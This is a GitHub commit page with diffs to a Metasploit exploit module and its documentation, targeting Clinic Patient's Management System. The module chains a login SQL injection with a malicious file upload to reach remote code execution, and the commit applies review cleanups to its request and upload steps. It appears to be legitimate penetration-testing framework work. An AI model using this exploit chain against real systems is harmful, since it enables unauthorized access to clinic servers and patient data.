Skip to content

Commit 070bd54

Browse files
committed
Addressing comments
1 parent fb24c55 commit 070bd54

File tree

2 files changed

+12
-9
lines changed

2 files changed

+12
-9
lines changed

documentation/modules/exploit/multi/http/clinic_pms_sqli_to_rce.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
## Vulnerable Application
2-
Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability (CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.
2+
Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability
3+
(CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.
34

45
## Verification Steps
56

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

Lines changed: 10 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
1010
include Msf::Exploit::FileDropper
1111
include Msf::Post::File
1212
include Msf::Auxiliary::Report
13+
prepend Msf::Exploit::Remote::AutoCheck
1314

1415
def initialize(info = {})
1516
super(
@@ -20,7 +21,8 @@ def initialize(info = {})
2021
This module exploits an SQL injection in login portal, which allows to log in as admin. Next, it allows the attacker to upload malicious files through user modification to achieve RCE.
2122
},
2223
'Author' => [
23-
'msutovsky-r7' # CVE-2025-3096, module developer
24+
'msutovsky-r7', # CVE-2025-3096, module developer
25+
'Ashish Kumar' # CVE-2022-2297
2426
],
2527
'License' => MSF_LICENSE,
2628
'Platform' => 'php',
@@ -39,7 +41,7 @@ def initialize(info = {})
3941
'Notes' => {
4042
'Stability' => [CRASH_SAFE],
4143
'Reliability' => [REPEATABLE_SESSION],
42-
'SideEffects' => [ARTIFACTS_ON_DISK]
44+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
4345
}
4446
)
4547
)
@@ -67,7 +69,7 @@ def check
6769

6870
def login_sqli
6971
res = send_request_cgi({
70-
'uri' => normalize_uri(target_uri.path + 'index.php'),
72+
'uri' => normalize_uri(target_uri.path, 'index.php'),
7173
'method' => 'POST',
7274
'keep_cookies' => true,
7375
'vars_post' =>
@@ -119,7 +121,7 @@ def upload_payload
119121
data_post << "--#{boundary}--\r\n"
120122

121123
res = send_request_cgi({
122-
'uri' => normalize_uri('/pms/update_user.php'),
124+
'uri' => normalize_uri(target_uri.path, '/pms/update_user.php'),
123125
'method' => 'POST',
124126
'keep_cookies' => true,
125127
'ctype' => "multipart/form-data; boundary=#{boundary}",
@@ -133,7 +135,7 @@ def upload_payload
133135
fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
134136
fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')
135137

136-
fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'
138+
fail_with Failure::UnexpectedReply, 'Failed to update user when attempting to exploit' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'
137139
print_status('Malicious file uploaded..')
138140
end
139141

@@ -145,7 +147,7 @@ def logout
145147
fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
146148
fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')
147149

148-
fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['Location'] == 'index.php'
150+
fail_with Failure::UnexpectedReply, 'The Location header was not equal to \'index.php\' as expected' unless res.headers['Location'] == 'index.php'
149151
print_status('Logged out..')
150152
@cookie_jar.clear
151153
end
@@ -163,7 +165,7 @@ def trigger_payload
163165
)
164166

165167
res = send_request_cgi({
166-
'uri' => normalize_uri(target_uri.path + '/update_user.php'),
168+
'uri' => normalize_uri(target_uri.path, '/update_user.php'),
167169
'method' => 'GET',
168170
'keep_cookies' => true,
169171
'vars_get' =>
@@ -180,7 +182,7 @@ def trigger_payload
180182
fail_with Failure::PayloadFailed, 'Cannot find path to payload' if payload_path.blank?
181183

182184
send_request_cgi({
183-
'uri' => normalize_uri(target_uri.path + '/' + payload_path),
185+
'uri' => normalize_uri(target_uri.path, payload_path),
184186
'method' => 'GET',
185187
'keep_cookies' => true
186188
})

0 commit comments

Comments
 (0)